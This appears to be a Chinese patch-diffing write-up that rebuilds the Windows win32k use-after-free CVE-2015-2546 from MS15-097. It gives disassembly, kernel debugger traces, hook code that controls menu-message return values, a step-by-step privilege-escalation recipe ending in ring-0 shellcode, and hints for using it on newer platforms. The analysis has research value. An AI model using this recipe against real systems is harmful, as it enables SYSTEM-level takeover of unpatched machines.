11

CVE-2015-2546:从补丁比对到Exploit | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

CVE-2015-2546:从补丁比对到Exploit

本月微软安全公告MS15-097修复了Microsoft Graphics组件中多个内核漏洞。其中Win32k内存损坏特权提升漏洞:CVE-2015-2546(https://technet.microsoft.com/zh-CN/library/security/ms15-097.aspx)引起了笔者的注意。该漏洞是FireEye在9月8日发布的一份攻击报告(https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf)中发现的,攻击者利用该漏洞可获得系统SYSTEM权限。

查看微软公告对该漏洞的描述:“如果 Windows 内核模式驱动程序不正确地处理内存中的对象,则 Windows 中存在多个特权提升漏洞。成功利用这些漏洞的攻击者可以在内核模式下运行任意代码。”没有太多有效信息,笔者遂尝试通过补丁比对来还原这个漏洞的细节。

CVE-2015-2546影响从win7 ~win10的众多windows版本。鉴于win7上win32k的符号比较齐全,笔者选择安装win7 sp1 32位系统的补丁进行比对。

PatchDiff2得到的结果:

分析到xxxMNMouseMove函数所做的更改:

补丁代码很直观,在xxxSendMessage调用完成之后多了一处检查。

研究过win32k内部机制可知:对于MenuWindow,tagWND+0xB0处存放的是其pPopupMenu的指针。因此这几句是检查回调之后tagMENUWND-> pPopupMenu是否被修改。

FireEye的报告中明确提到:CVE-2015-2546是一个tagPOPUPMENU对象的UAF。至此,笔者确定该漏洞的缺陷函数就是xxxMNMouseMove。

进一步分析xxxMNHideNextHierarchy函数之后,笔者得出整个漏洞的触发流程:在xxxMNMouseMove函数中,xxxSendMessage(pwnd, 0x1F0,…)发起了一次用户模式回调。在这次回调中,攻击者可以销毁Menu窗口从而释放tagPOPUPMENU对象并占位重用。当回调返回内核之后,补丁前的xxxMNmouseMove并没有对已释放的pPopupMenu进行验证。之后pPopupMenu被传入xxxMNHideNextHierarchy,xxxMNHideNextHierarchy会对tagPOPUPMENU.spwndNextPopup发送消息:

.text:BF91C0AA __stdcall xxxMNHideNextHierarchy(x) proc near
.text:BF91C0AA ; CODE XREF: xxxMNButtonDown(x,x,x,x)+62p
.text:BF91C0AA ; xxxMNMouseMove(x,x,x)+18Ep
.text:BF91C0AA
.text:BF91C0AA ptl = dword ptr -0Ch
.text:BF91C0AA var_8 = dword ptr -8
.text:BF91C0AA pPopupMenu = dword ptr 8
.text:BF91C0AA
.text:BF91C0AA mov edi, edi
.text:BF91C0AC push ebp
.text:BF91C0AD mov ebp, esp
.text:BF91C0AF mov ecx, [ebp+pPopupMenu]
.text:BF91C0B2 sub esp, 0Ch
.text:BF91C0B5 push esi
.text:BF91C0B6 mov esi, [ecx+tagPOPUPMENU.spwndNextPopup]
.text:BF91C0B9 test esi, esi
.text:BF91C0BB jz short loc_BF91C104
.text:BF91C0BD mov eax, _gptiCurrent
.text:BF91C0C2 add eax, 0B4h ; pTL
.text:BF91C0C7 mov edx, [eax]
.text:BF91C0C9 mov [ebp+ptl], edx
.text:BF91C0CC lea edx, [ebp+ptl]
.text:BF91C0CF mov [eax], edx
.text:BF91C0D1 mov [ebp+var_8], esi
.text:BF91C0D4 inc [esi+tagWND.head.cLockObj]
.text:BF91C0D7 cmp esi, [ecx+tagPOPUPMENU.spwndActivePopup]
.text:BF91C0DA jz short loc_BF91C0EB
.text:BF91C0DC push 0 ; NumberOfBytes
.text:BF91C0DE push 0 ; MbString
.text:BF91C0E0 push 1E4h ; int
.text:BF91C0E5 push esi ; tagPOPUPMENU.spwndNextPopup
.text:BF91C0E6 call xxxSendMessage(x,x,x,x)

攻击者创建合适的对象占用被释放的tagPOPUPMENU内存,构造好tagPOPUPMENU.spwndNextPopup的数据,即可达成内核任意代码执行。

随后,笔者尝试构造POC来实现上述过程。

xxxMNMouseMove函数的工作原理:在PopupMenu的消息循环中,内核在消息队列中取到了WM_NCMOUSEMOVE消息;或者xxxMenuWindowProc收到了MN_MOUSEMOVE消息,win32k都会调用xxxMNMouseMove函数来进行处理。

因此

xxxTrackPopupMenuEx->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
xxxMenuWindowProc->xxxRealMenuWindowProc->xxxMNMouseMove
xxxSysComman->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
//…

等都是有可能的

该选择哪条路径呢?ba e1 win32k!xxxMNMouseMove探索一番

在桌面弹出右键菜单的时候:

0: kd> kb
ChildEBP RetAddr Args to Child
8d10ea8c 9036bbdb fe6c08e8 904557e0 0092002f win32k!xxxMNMouseMove
8d10eae8 9036b7b1 8d10eb08 904557e0 fe6c08e8 win32k!xxxHandleMenuMessages+0x2f2
8d10eb34 90371717 fe6c08e8 904557e0 00000000 win32k!xxxMNLoop+0x2fa
8d10eba0 90371802 fea19660 00000102 0000002f win32k!xxxTrackPopupMenuEx+0x5fd
8d10ec14 8288d1ea 001a01d3 00000102 0000002f win32k!NtUserTrackPopupMenuEx+0xc3
8d10ec14 76e370b4 001a01d3 00000102 0000002f nt!KiFastCallEntry+0x12a
0024e3ac 760e483e 760d2243 001a01d3 00000102 ntdll!KiFastSystemCallRet
0024e3b0 760d2243 001a01d3 00000102 0000002f USER32!NtUserTrackPopupMenuEx+0xc
0024e3d0 756272c9 001a01d3 00000102 0000002f USER32!TrackPopupMenu+0x1b

点击win32k窗口程序菜单:

0: kd> kb
ChildEBP RetAddr Args to Child
92e2fa50 90dabbdb 90e95860 90e957e0 00e900de win32k!xxxMNMouseMove
92e2faac 90dab7b1 92e2facc 90e957e0 90e95860 win32k!xxxHandleMenuMessages+0x2f2
92e2faf8 90dbdd69 90e95860 90e957e0 00e900de win32k!xxxMNLoop+0x2fa
92e2fb28 90d1fcc5 fea0f2b0 0000f095 00e900de win32k!xxxSysCommand+0x4a5
92e2fba4 90d2d417 fea0f2b0 00000112 0000f095 win32k!xxxRealDefWindowProc+0xc00
92e2fbbc 90cf8117 fea0f2b0 00000112 0000f095 win32k!xxxWrapRealDefWindowProc+0x2b
92e2fbd8 90d2d2d3 fea0f2b0 00000112 0000f095 win32k!NtUserfnDWORD+0x27
92e2fc10 828551ea 00030152 00000112 0000f095 win32k!NtUserMessageCall+0xcf

看来执行到xxxMNMouseMove并不困难,但是笔者发现要执行到xxxSendMessage(pWnd, 0x1F0)就不容易了:

仔细分析xxxMNMouseMove函数代码

.text:BF93CDC6 loc_BF93CDC6: ; CODE XREF: xxxMNMouseMove(x,x,x)+12Dj
.text:BF93CDC6 ; xxxMNMouseMove(x,x,x)+135j …
.text:BF93CDC6 xor edi, edi
.text:BF93CDC8 push edi ; NumberOfBytes
.text:BF93CDC9 push [ebp+pPopupMenu] ; MbString
.text:BF93CDCC push 1E5h ; int
.text:BF93CDD1 push esi ; Address
.text:BF93CDD2 call xxxSendMessage(x,x,x,x)
.text:BF93CDD7 test al, 10h
.text:BF93CDD9 jz short loc_BF93CE32
.text:BF93CDDB test al, 3
.text:BF93CDDD jnz short loc_BF93CE32
.text:BF93CDDF push edi ; NumberOfBytes
.text:BF93CDE0 push edi ; MbString
.text:BF93CDE1 push MN_SETTIMERTOOPENHIERARCHY ; int
.text:BF93CDE6 push esi ; spwndPopupMenu
.text:BF93CDE7 call xxxSendMessage(x,x,x,x) ; CallBack
.text:BF93CDEC test eax, eax
.text:BF93CDEE jnz short loc_BF93CE32
.text:BF93CDF0 push ebx ; fake_tagPopupMenu
.text:BF93CDF1 call xxxMNHideNextHierarchy(x) ; Trigger

esi必须是一个窗口对象,而ebx必须是我们可以占位重用的PopupMenu

先看ebx的值从哪儿来:

.text:BF93CD67 mov eax, _gptiCurrent
.text:BF93CD6C add eax, 0B4h
.text:BF93CD71 mov ecx, [eax]
.text:BF93CD73 mov [ebp+var_C], ecx
.text:BF93CD76 lea ecx, [ebp+var_C]
.text:BF93CD79 mov [eax], ecx
.text:BF93CD7B mov [ebp+var_8], esi
.text:BF93CD7E inc dword ptr [esi+4]
.text:BF93CD81 mov edi, [edi+4]
.text:BF93CD84 mov ebx, [ebx+0B0h] //sizeof(tagWND) = 0xac
.text:BF93CD8A test edi, 100h
.text:BF93CD90 jz short loc_BF93CDC6

0xB0刚好等于sizeof(tagWND) + 0x4,而ebx又是一个tagPOPUPMENU对象,那么在BF93CD84这句之前,ebx必须是一个MenuWnd!

再向前查看代码:

.text:BF93CD49 push esi
.text:BF93CD4A call safe_cast_fnid_to_PMENUWND(x)
.text:BF93CD4F push esi
.text:BF93CD50 mov ebx, eax
.text:BF93CD52 call IsWindowBeingDestroyed(x)
.text:BF93CD57 test eax, eax
.text:BF93CD59 jnz loc_BF93CE41
.text:BF93CD5F test ebx, ebx ; tagMENUWND
.text:BF93CD61 jz loc_BF93CE41

IsWindowBeingDestroyed只是检查esi指向的pWnd状态,ebx的值来自于safe_cast_fnid_to_PMENUWND。

查看safe_cast_fnid_to_PMENUWND函数,只是检查pWnd->fnid,合适就将传入的pWnd指针原封返回。

继续追踪esi的来源,终于发现esi指向的窗口对象来自这里:

.text:BF93CCA1 push esi
.text:BF93CCA2 mov [edi+0Ch], eax
.text:BF93CCA5 push ecx ; screenPt
.text:BF93CCA6 lea eax, [ebp+pPopupMenu]
.text:BF93CCA9 push eax ; pIndex
.text:BF93CCAA push ebx ; pPopupMenu
.text:BF93CCAB call xxxMNFindWindowFromPoint(x,x,x) //得到MenuWnd指针
.text:BF93CCB0 mov esi, eax
.text:BF93CCB2 push esi
.text:BF93CCB3 call IsMFMWFPWindow(x)

然而笔者多次调试,发现这一步得到的返回值总是NULL:

1: kd> p
win32k!xxxMNMouseMove+0x4d:
90dabfc7 8bf0 mov esi,eax
1: kd> r eax
eax=00000000

冷静分析xxxMNFindWindowFromPoint函数,该函数实际上是根据当前鼠标的位置返回其指向的菜单窗口。然而,如果传入的pPopupMenu->fIsMenuBar为1,该函数返回的只能是0或0xFFFFFFFB,0xFFFFFFFF几个固定值。

查看一下我们传入的pPopupMenu:

1: kd> dt tagPOPUPMENU 90e95860
win32k!tagPOPUPMENU
+0x000 fIsMenuBar : 0y1
+0x000 fHasMenuBar : 0y1
+0x000 fIsSysMenu : 0y0
//…
+0x000 flockDelayedFree : 0y0
+0x004 spwndNotify : 0xfea0f2b0 tagWND
+0x008 spwndPopupMenu : 0xfea0f2b0 tagWND

这里的tagPOPUPMENU对象一直是内核自动创建的,fIsMenuBar这个字段初始化时就被置为1。

不过笔者发现如果pPopupMenu->spwndNextPopup不为NULL,xxxMNFindWindowFromPoint会向这个窗口发送MN_FINDMENUWINDOWFROMPOINT消息:

.text:BF93CE9E push eax ; NumberOfBytes
.text:BF93CE9F lea eax, [ebp+pPopupMenu]
.text:BF93CEA2 push eax ; MbString
.text:BF93CEA3 push MN_FINDMENUWINDOWFROMPOINT ; int
.text:BF93CEA8 push dword ptr [edi+0Ch] ; Address
.text:BF93CEAB call xxxSendMessage(x,x,x,x)

于是笔者想到可以通过消息钩子来控制这一步的返回值!

笔者编译了一个包含两级菜单的文档视图窗口程序,并且在消息钩子函数中替换了菜单窗口的默认WndProc:

LRESULT CALLBACK MyWndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if (Msg == 0x1EB)
{
// __asm int 3;
return (LONG)g_hMenuWnd;
}
return DefWindowProc(hWnd, Msg, wParam, lParam);
}

这样xxxMNFindWindowFromPoint返回的就是我们事先创建的MenuWindow对象了。

1: kd> g
Breakpoint 1 hit
win32k!xxxMNMouseMove+0x48:
90dabfc2 e8a8010000 call win32k!xxxMNFindWindowFromPoint (90dac16f)
1: kd> r eax
eax=fe40f788 //pWnd    

1: kd> dd fe40f788 + b0 l1
fe40f838 fe3e3588 //tagPOPUPMENU    

1: kd> dt fe3e3588 tagPOPUPMENU
win32k!tagPOPUPMENU
+0x000 fIsMenuBar : 0y0
+0x000 fHasMenuBar : 0y0
+0x000 fIsSysMenu : 0y0
//…
+0x004 spwndNotify : (null)
+0x008 spwndPopupMenu : 0xfe40f788 指向PopupMenu所属的tagWND对象
+0x00c spwndNextPopup : (null)
+0x010 spwndPrevPopup : (null)

后面执行到

这里xxxSendMessage(pWnd, 0x1E5, …)的返回值还得控制一下,否则一直返回0。

在MenuWindow的窗口函数中处理0x1E5消息:

if (Msg == 0x1E5) //MN_SELECTITEM
{
//控制返回值
return 0x10;
}

终于能执行到xxxMNHideNextHierarchy了:

最后,笔者还原出CVE-2015-2546的利用过程如下:

  1. 创建一个有弹出式菜单的正常主窗口
  2. 在某个固定地址Addr1分配内存,并在Addr1上构造一个fake_tag WND。其中fake_tagWND->bServerSideWindowProc置为1,fake_tagWND->lpfnWndProc指向Ring0ShellCode。
  3. 用Accelerator Table对象制作出内存空洞。
  4. 创建类名为”#32768”的窗口MenuWindow1,并用SetWindowLong替换其WndProc。
  5. 创建消息钩子,并在HookProc中处理MN_FINDWINDOWFROMPOINT消息和MN_SETTIMERTOOPENHIERARCHY消息。
  6. 向主窗口发送WM_SYSCOMMAND消息或者模拟鼠标事件。
  7. 系统创建的正常菜单窗口收到MN_FINDWINDOWFROMPOINT消息,返回MenuWindow1的句柄。
  8. HookProc收到MN_SETTIMERTOOPENHIERARCHY消息,销毁MenuWindow1,并创建Accelerator Table对象占用tagPOPUPMENU释放的内存。
  9. Fake_tagWND收到0x1E4消息,执行Ring0ShellCode。

触发提权ShellCode:

利用成功截图

PS:其实这个漏洞并不一定非得用Accelerator Table占位,有更好的对象适合用来控制占位数据。攻击者使用Accelerator Table反而导致需要分配零页内存:最终执行到xxxSendMessageTimeOut时,fakePopupMenu->spwndNextPopup正是占位的tagACCELTABLE.cAccel的值。如果选择其他对象进行占位,完全可以在更高平台利用这个漏洞。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK